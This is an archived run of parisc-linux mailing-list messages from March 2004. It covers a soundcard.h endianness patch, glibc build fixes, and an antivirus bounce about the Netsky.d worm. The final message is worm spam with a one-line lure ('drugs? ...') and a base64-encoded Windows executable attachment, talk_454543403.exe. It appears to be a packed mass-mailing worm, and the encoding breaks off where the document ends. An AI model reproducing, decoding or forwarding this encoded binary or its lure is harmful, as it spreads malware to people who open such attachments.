	id 1B028J-00008V-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 07 Mar 2004 17:32:11 +0000
Content-Disposition: inline
In-Reply-To: <20040223194047.GA448@calypso>
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Stuart Brady <sdbrady@ntlworld.com>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 07 Mar 2004 17:32:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21001

Does anyone have any thoughts regarding this patch?

Index: soundcard.h
===================================================================
RCS file: /var/cvs/linux-2.4/include/linux/soundcard.h,v
retrieving revision 1.6
diff -u -r1.6 soundcard.h
--- soundcard.h	26 Jun 2003 15:08:08 -0000	1.6
+++ soundcard.h	21 Feb 2004 16:04:12 -0000
@@ -179,7 +179,7 @@
  * Some big endian/little endian handling macros
  */
 
-#if defined(_AIX) || defined(AIX) || defined(sparc) || defined(__sparc__) || defined(HPPA) || defined(PPC) || defined(__mc68000__)
+#if defined(_AIX) || defined(AIX) || defined(sparc) || defined(__sparc__) || defined(HPPA) || defined(__hppa__) || defined(PPC) || defined(__powerpc__) || defined(__mc68000__)
 /* Big endian machines */
 #  define _PATCHKEY(id) (0xfd00|id)
 #  define AFMT_S16_NE AFMT_S16_BE


Or alternatively:

Index: soundcard.h
===================================================================
RCS file: /var/cvs/linux-2.4/include/linux/soundcard.h,v
retrieving revision 1.6
diff -u -r1.6 soundcard.h
--- soundcard.h	26 Jun 2003 15:08:08 -0000	1.6
+++ soundcard.h	07 Mar 2004 17:26:23 -0000
@@ -39,6 +39,13 @@
 /* In Linux we need to be prepared for cross compiling */
 #include <linux/ioctl.h>
 
+/* Endian macros. Note that they have a different meaning in the kernel. */
+#ifdef __KERNEL__
+#  include <asm/byteorder.h>
+#else
+#  include <endian.h>
+#endif
+
 /*
  *	Supported card ID numbers (Should be somewhere else?)
  */
@@ -179,13 +186,28 @@
  * Some big endian/little endian handling macros
  */
 
-#if defined(_AIX) || defined(AIX) || defined(sparc) || defined(__sparc__) || defined(HPPA) || defined(PPC) || defined(__mc68000__)
-/* Big endian machines */
-#  define _PATCHKEY(id) (0xfd00|id)
-#  define AFMT_S16_NE AFMT_S16_BE
-#else
-#  define _PATCHKEY(id) ((id<<8)|0xfd)
-#  define AFMT_S16_NE AFMT_S16_LE
+#if defined(__BIG_ENDIAN)
+#  if defined(__KERNEL__) || (defined(__BYTE_ORDER) && __BYTE_ORDER == __BIG_ENDIAN)
+#    if defined(AFMT_S16_NE) || defined(_PATCHKEY)
+#      error AFMT_S16_NE (or _PATCHKEY) is already defined
+#    endif
+#    define AFMT_S16_NE AFMT_S16_BE
+#    define _PATCHKEY(id) (0xfd00|id)
+#  endif
+#endif
+
+#if defined(__LITTLE_ENDIAN)
+#  if defined(__KERNEL__) || (defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN)
+#    if defined(AFMT_S16_NE) || defined(_PATCHKEY)
+#      error AFMT_S16_NE (or _PATCHKEY) is already defined
+#    endif
+#    define AFMT_S16_NE AFMT_S16_LE
+#    define _PATCHKEY(id) ((id<<8)|0xfd)
+#  endif
+#endif
+
+#if !defined(AFMT_S16_NE)
+#  error Failed to define AFMT_S16_NE
 #endif
 
 /*

Should I be sending this elsewhere?

Thanks,
-- 
Stuart Brady


From - Thu Nov 08 21:31:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] include/linux/soundcard.h endian fix
Date: Sun, 7 Mar 2004 19:02:28 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <200403071902.29292.deller@gmx.de>
References: <20040222070150.GA773@calypso> <20040223194047.GA448@calypso>
	<20040307173210.GA471@calypso>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623244 6341 80.91.229.3 (22 Nov 2014 02:27:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sun Mar  7 11:02:34 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 8C9FA4843
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Mar 2004 11:02:33 -0700 (MST)
Original-Received: (qmail 813 invoked by uid 65534); 7 Mar 2004 18:02:31 -0000
Original-Received: from pD9040308.dip.t-dialin.net (EHLO p100) (217.4.3.8)
	by mail.gmx.net (mp011) with SMTP; 07 Mar 2004 19:02:31 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <20040307173210.GA471@calypso>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 07 Mar 2004 18:02:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21002

On Sunday 07 March 2004 18:32, Stuart Brady wrote:
> Does anyone have any thoughts regarding this patch?
> 
> Index: soundcard.h
> ===================================================================
> RCS file: /var/cvs/linux-2.4/include/linux/soundcard.h,v
> retrieving revision 1.6
> diff -u -r1.6 soundcard.h
> --- soundcard.h	26 Jun 2003 15:08:08 -0000	1.6
> +++ soundcard.h	21 Feb 2004 16:04:12 -0000
> @@ -179,7 +179,7 @@
>   * Some big endian/little endian handling macros
>   */
>  
> -#if defined(_AIX) || defined(AIX) || defined(sparc) || defined(__sparc__) || defined(HPPA) || defined(PPC) || defined(__mc68000__)
> +#if defined(_AIX) || defined(AIX) || defined(sparc) || defined(__sparc__) || defined(HPPA) || defined(__hppa__) || defined(PPC) || defined(__powerpc__) || defined(__mc68000__)

I think you should just use "defined(__hppa__)" and simply 
drop the "defined(HPPA)" part.

> Or alternatively:
> 
> Index: soundcard.h
> ===================================================================
> RCS file: /var/cvs/linux-2.4/include/linux/soundcard.h,v
> retrieving revision 1.6
> diff -u -r1.6 soundcard.h
> --- soundcard.h	26 Jun 2003 15:08:08 -0000	1.6
> +++ soundcard.h	07 Mar 2004 17:26:23 -0000
> @@ -39,6 +39,13 @@
>  /* In Linux we need to be prepared for cross compiling */
>  #include <linux/ioctl.h>
>  
> +/* Endian macros. Note that they have a different meaning in the kernel. */
> +#ifdef __KERNEL__
> +#  include <asm/byteorder.h>
> +#else
> +#  include <endian.h>
> +#endif
> +
>  /*
>   *	Supported card ID numbers (Should be somewhere else?)
>   */
> @@ -179,13 +186,28 @@
>   * Some big endian/little endian handling macros
>   */
>  
> -#if defined(_AIX) || defined(AIX) || defined(sparc) || defined(__sparc__) || defined(HPPA) || defined(PPC) || defined(__mc68000__)
> -/* Big endian machines */
> -#  define _PATCHKEY(id) (0xfd00|id)
> -#  define AFMT_S16_NE AFMT_S16_BE
> -#else
> -#  define _PATCHKEY(id) ((id<<8)|0xfd)
> -#  define AFMT_S16_NE AFMT_S16_LE
> +#if defined(__BIG_ENDIAN)
> +#  if defined(__KERNEL__) || (defined(__BYTE_ORDER) && __BYTE_ORDER == __BIG_ENDIAN)
> +#    if defined(AFMT_S16_NE) || defined(_PATCHKEY)
> +#      error AFMT_S16_NE (or _PATCHKEY) is already defined
> +#    endif
> +#    define AFMT_S16_NE AFMT_S16_BE
> +#    define _PATCHKEY(id) (0xfd00|id)
> +#  endif
> +#endif
> +
> +#if defined(__LITTLE_ENDIAN)
> +#  if defined(__KERNEL__) || (defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN)
> +#    if defined(AFMT_S16_NE) || defined(_PATCHKEY)
> +#      error AFMT_S16_NE (or _PATCHKEY) is already defined
> +#    endif
> +#    define AFMT_S16_NE AFMT_S16_LE
> +#    define _PATCHKEY(id) ((id<<8)|0xfd)
> +#  endif
> +#endif
> +
> +#if !defined(AFMT_S16_NE)
> +#  error Failed to define AFMT_S16_NE
>  #endif
>  
>  /*

Personally I think either is OK.
 
> Should I be sending this elsewhere?

linux-kernel@vger.kernel.org ?

Helge


From - Thu Nov 08 21:31:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3: a warning with gcc-3.3 become an
	error with gcc-3.5
Date: Sun, 7 Mar 2004 15:59:04 -0500
Lines: 67
Approved: news@gmane.org
Message-ID: <20040307205904.GD5139@baldric.uwo.ca>
References: <20040301193815.GG21769@baldric.uwo.ca>
	<402A4CA50000D57D@ocpmta2.freegates.net>
	<20040302195050.GE19402@baldric.uwo.ca>
	<404A4D34.1000106@tiscali.be> <20040306225740.GH963@baldric.uwo.ca>
	<404B0267.1020809@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623244 6344 80.91.229.3 (22 Nov 2014 02:27:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Sun Mar  7 14:01:07 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id E18E74843
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Mar 2004 14:01:06 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B05MW-0002to-00; Sun, 07 Mar 2004 15:59:04 -0500
Content-Disposition: inline
In-Reply-To: <404B0267.1020809@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 07 Mar 2004 21:01:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21003

On Sun, Mar 07, 2004 at 11:07:19AM +0000, Joel Soete wrote:
> >Why do you use "new_env" at all?
> 
> The reason is very simple: I just begin with glibc and my knowledge is 
> still at stone age in this field.
> This is an evidence that sun appears red in the early morning or at the end 
> of the evening but white for the rest of a suny day, why?
> The same here, hppa don't need feraiseexcept() but the alpha, i386, ia64, 
> m68k, mips, (ppc), s390 and sparc need and I don't yet understand why ;)

Because our feraiseexcept() is different from theirs?
 
> In the mean time I encounter this new pb:
> /Sources/parisc-linux/xc/bin/hppa-linux-gcc dl-sym.c -c -std=gnu99 -O2 
> -Wall -Winline -Wstrict-prototypes -Wwrite-strings -g -I../include -I. 
> -I/Sources/parisc-linux/build/glibc/elf -I.. -I../libio  
> -I/Sources/parisc-linux/build/glibc -I../sysdeps/hppa/elf 
> -I../linuxthreads/sysdeps/unix/sysv/linux/hppa 
> -I../linuxthreads/sysdeps/unix/sysv/linux -I../linuxthreads/sysdeps/pthread 
> -I../sysdeps/pthread -I../linuxthreads/sysdeps/unix/sysv 
> -I../linuxthreads/sysdeps/unix -I../linuxthreads/sysdeps/hppa 
> -I../sysdeps/unix/sysv/linux/hppa -I../sysdeps/unix/sysv/linux 
> -I../sysdeps/gnu -I../sysdeps/unix/common -I../sysdeps/unix/mman 
> -I../sysdeps/unix/inet -I../sysdeps/unix/sysv -I../sysdeps/unix 
> -I../sysdeps/posix -I../sysdeps/hppa/hppa1.1 -I../sysdeps/wordsize-32 
> -I../sysdeps/ieee754/flt-32 -I../sysdeps/ieee754/dbl-64 
> -I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/fpu -I../sysdeps/hppa 
> -I../sysdeps/ieee754 -I../sysdeps/generic/elf -I../sysdeps/generic 
> -nostdinc -isystem 
> /Sources/parisc-linux/xc/lib/gcc/hppa-linux/3.5.0/include -isystem 
> /Sources/parisc-linux/sources/linux/include -D_LIBC_REENTRANT -include 
> ../include/libc-symbols.h       -o 
> /Sources/parisc-linux/build/glibc/elf/dl-sym.o -MD -MP -MF
> /Sources/parisc-linux/build/glibc/elf/dl-sym.o.dt
> In file included from dl-sym.c:27:
> ../sysdeps/generic/dl-tls.h:2:2: #error "architecture-specific version of 
> <dl-tls.h> missing"
> make[2]: *** [/Sources/parisc-linux/build/glibc/elf/dl-sym.o] Error 1
> make[2]: Leaving directory 
> `/Sources/parisc-linux/sources/glibc-2.3.3-20040306/elf'
> make[1]: *** [elf/subdir_lib] Error 2
> make[1]: Leaving directory 
> `/Sources/parisc-linux/sources/glibc-2.3.3-20040306'
> make: *** [all] Error 2
> 
> and would suggest this patch:
> --- dl-sym.c.orig       2004-03-07 11:44:11.219605000 +0100
> +++ dl-sym.c    2004-03-07 11:41:21.219605000 +0100
> @@ -24,10 +24,10 @@
>  #include <dlfcn.h>
>  #include <ldsodefs.h>
>  #include <dl-hash.h>
> -#include <dl-tls.h>
> -
> 
>  #if defined USE_TLS && defined SHARED
> +#include <dl-tls.h>
> +
>  /* Systems which do not have tls_index also probably have to define
>     DONT_USE_TLS_INDEX.  */

I'm doing a build right now, if I see this issue I'll report it upstream
with this fix.

c.



From - Thu Nov 08 21:31:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: glibc cvs: additional patche
Date: Sun, 7 Mar 2004 16:23:16 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <20040307212316.GI5139@baldric.uwo.ca>
References: <404B1E17.6020004@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623245 6348 80.91.229.3 (22 Nov 2014 02:27:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Sun Mar  7 14:25:17 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8307F4843
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Mar 2004 14:25:17 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B05jw-0002yY-00; Sun, 07 Mar 2004 16:23:16 -0500
Content-Disposition: inline
In-Reply-To: <404B1E17.6020004@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 07 Mar 2004 21:25:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21004

On Sun, Mar 07, 2004 at 01:05:27PM +0000, Joel Soete wrote:
> Since yesterday cvs update, i also need a patch similar to:

I see changes required to dl-runtime.c aswell.

c.


From - Thu Nov 08 21:31:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: AMaViS Mail Scanner <postmaster@dolmen.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] VIRUS (W32/Netsky.d@MM) IN YOUR MAIL
Date: Mon,  8 Mar 2004 01:23:29 +0100 (CET)
Lines: 76
Approved: news@gmane.org
Message-ID: <VS14185-10@husmr005>
References: <20040308002326.8223AC6D7E@mx1.dolmen.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	boundary="----------=_1078705409-14185-1"
X-Trace: ger.gmane.org 1416623245 6351 80.91.229.3 (22 Nov 2014 02:27:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:25 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: MAILER-DAEMON  Sun Mar  7 17:20:54 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx1.dolmen.be (unknown [193.41.233.227])
	by dsl2.external.hp.com (Postfix) with ESMTP id 42FCA4843
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Mar 2004 17:20:54 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by mx1.dolmen.be (Postfix) with ESMTP id 19229C6D9E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Mar 2004 01:23:29 +0100 (CET)
In-Reply-To: <20040308002326.8223AC6D7E@mx1.dolmen.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 08 Mar 2004 00:20:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21005

This is a multi-part message in MIME format...

------------=_1078705409-14185-1
Content-Type: text/plain; charset="iso-8859-1"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

VIRUS ALERT

Our virus checker found
    virus: W32/Netsky.d@MM
    banned filename: your_letter.pif
in your email to the following recipient:
-> info@dolmen.be

Delivery of the email was stopped!

Please check your system for viruses,
or ask your system administrator to do so.

For your reference, here are headers from your email:
------------------------- BEGIN HEADERS -----------------------------
Received: from dolmen.be (unknown [210.22.25.28])
	by mx1.dolmen.be (Postfix) with ESMTP id 8223AC6D7E
	for <info@dolmen.be>; Mon,  8 Mar 2004 01:23:26 +0100 (CET)
From: parisc-linux@lists.parisc-linux.org
To: info@dolmen.be
Subject: Re: Your letter
Date: Mon, 8 Mar 2004 08:21:28 +0800
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0011_00004931.000077CE"
X-Priority: 3
X-MSMail-Priority: Normal
Message-Id: <20040308002326.8223AC6D7E@mx1.dolmen.be>
-------------------------- END HEADERS ------------------------------

------------=_1078705409-14185-1
Content-Type: message/delivery-status
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
Content-Description: Delivery error report

Reporting-MTA: dns; husmr005
Received-From-MTA: smtp; mx1.dolmen.be ([127.0.0.1])
Arrival-Date: Mon,  8 Mar 2004 01:23:28 +0100 (CET)

Final-Recipient: rfc822; info@dolmen.be
Action: failed
Status: 5.7.1
Diagnostic-Code: smtp; 550 5.7.1 Message content rejected, id=14185-10 - VIRUS:
	W32/Netsky.d@MM
Last-Attempt-Date: Mon,  8 Mar 2004 01:23:29 +0100 (CET)

------------=_1078705409-14185-1
Content-Type: text/rfc822-headers
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
Content-Description: Undelivered-message headers

Received: from dolmen.be (unknown [210.22.25.28])
	by mx1.dolmen.be (Postfix) with ESMTP id 8223AC6D7E
	for <info@dolmen.be>; Mon,  8 Mar 2004 01:23:26 +0100 (CET)
From: parisc-linux@lists.parisc-linux.org
To: info@dolmen.be
Subject: Re: Your letter
Date: Mon, 8 Mar 2004 08:21:28 +0800
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0011_00004931.000077CE"
X-Priority: 3
X-MSMail-Priority: Normal
Message-Id: <20040308002326.8223AC6D7E@mx1.dolmen.be>

------------=_1078705409-14185-1--


From - Thu Nov 08 21:31:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ietf-charsets@w3.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] is that your beast?
Date: Mon, 8 Mar 2004 11:18:55 +0530
Lines: 468
Approved: news@gmane.org
Message-ID: <20040308054901.D45814840@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0009_000013E1.000031FC"
X-Trace: ger.gmane.org 1416623245 6353 80.91.229.3 (22 Nov 2014 02:27:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:25 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: ietf-charsets@w3.org  Sun Mar  7 22:49:08 2004
Return-Path: <ietf-charsets@w3.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (unknown [164.100.34.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id D45814840
	for <parisc-linux@parisc-linux.org>;
	Sun,  7 Mar 2004 22:49:01 -0700 (MST)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 08 Mar 2004 05:49:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21006

This is a multi-part message in MIME format.

------=_NextPart_000_0009_000013E1.000031FC
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

drugs? ...

------=_NextPart_000_0009_000013E1.000031FC
Content-Type: application/octet-stream;
	name="talk_454543403.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="talk_454543403.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDANJIO0AAAAAAAAAAAOAADwILAQI4AGAAAAAQ
AAAAUAEA4LABAABgAQAAwAEAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAADQAQAAEAAA
AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABDFAQCAAQAAAMABABAF
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQ
WDAAAAAAAFABAAAQAAAAAAAAAAIAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAABgAAAAYAEA
AFQAAAACAAAAAAAAAAAAAAAAAABAAADgLnJzcmMAAAAAEAAAAMABAAAIAAAAVgAAAAAAAAAA
AAAAAAAAQAAAwDEuMjQAVVBYIQwJAgm6M9yCDUwt9YeWAQDAUAAAAKIAACYFAAT/////VYvs
i0UMVleLfQgz0jPJM/aAPwB0KVNqAVsr34ldCIr3/+3/H4D7LnUMiAwCi1UgyQPX6wWIXAYB
QUZHJ/v/bXd14VsYgGQPAI1GAV9eXcOLRCQIU0xv/3+7fCQQTYH6AAgAAH06D7YIhcl0WcHA
dbr//7ckV147znwLihwGiB9HRjvxfvWAfAE+RH97+98EdATGBy5HQuvIL0ABA0gY67yAJwDt
7+5uVVvDo4HsGEuApej3//8AYN+++9u5/zMAM8CNvekP86tmq2pv9lqqUvb///+NRexWUIlV
6OgFACJ8iz1YYUAAg8QMZjl1EGbHGu5uv/0CAHYF/wrrHGgYqxhoDAT/FVze2v/vIzvGdAZm
i0AI6wRqNf/XIjGJRe429/bbGoA++P8L8HUXFCtkdtfeTiUqDIsAARhWagIB27dDtiloECZq
/VjpfgK15rf/YGr+6/ZTaN8RqP/XgI3qAf27aza3WIWbCNfsEo2F9AWm28ytUA217mQICfC3
v910BvLoXf4EWYvwWYPGfnUUv18b4YCkNQBGUUqENUu2118w23sJX/BsA/xqBFBvbru5uybi
BhAEU/L8/KAP+P49e4gcaAUXi10QUxHsFt52WzxQXwVqOYVdQFO7fTvZ0HB1Ffxe6zUj6FAn
0m2HrVAiaNIWGCJ0RmGzDRUKeD1MrDm6duGFQPvrzorrArMifFvjF26LxlvDycNWi3QaC1et
/R/+acAQEAQAUKDUi/hZhf90JxUUN0To2gQCPF5XuLKF9n609nf7D4vHi87aMAUbSXX1Dkf7
0XBnCgwQtGgPt4KF9r+/AnxqjUj/viaJTfjrA4sEHbw3xxtxWH5TsxH8jboa6P4NL9+P/v1Y
O08Cdi+Nn/wLVmLbWGd9BlON7E1TB41l7PAUBYvsJGej42+FA4VGdb2FwHSjj8mQbWdGBgL+
iWo/JuFun45Zj/6LdeodYPwb22+/mINl/ACqe0YGUP/TrcAh+Pbsi3QMCAkKFgPHOrXb1r5J
Ax4w9MZ96Ci2l0q/iEYMigiEOUC+yUDH8Pv/hZtE74vRWMHpAvOli8qD4QPzpIsptGn3WwkB
TfQD+XMDwUGAZ36v7b4aR/9F9EPrwMtV3ycc78bA3r1ZdBUQTQXnva5t3xpfLY18MBOORASP
lYW322Y9HXUS8fh0Dd34YbBWOEWHwcVmBvZmdq4QGFQCZKkIdQf8M8L/jvMFY4N97AAPhAMB
Gf2u3M42MwfhSBaQAAad6e2bxoPoA3RuBAp0DJYtAJ50W389OI1HiFCh/QBK4WGzOQhR+JIA
8fzZTe82Ywgq6Y2NJoGDzX37bRBRLSYsa0cKWVluJn345trw/yzAtUECdVmC61O5AzKyXAr+
6z0yst0uwUOfOTd9KPXwezdzzVRQc3B5jYQIBKrurbmZa19qYex0GnWbgQuzCDtDOAwVrQAd
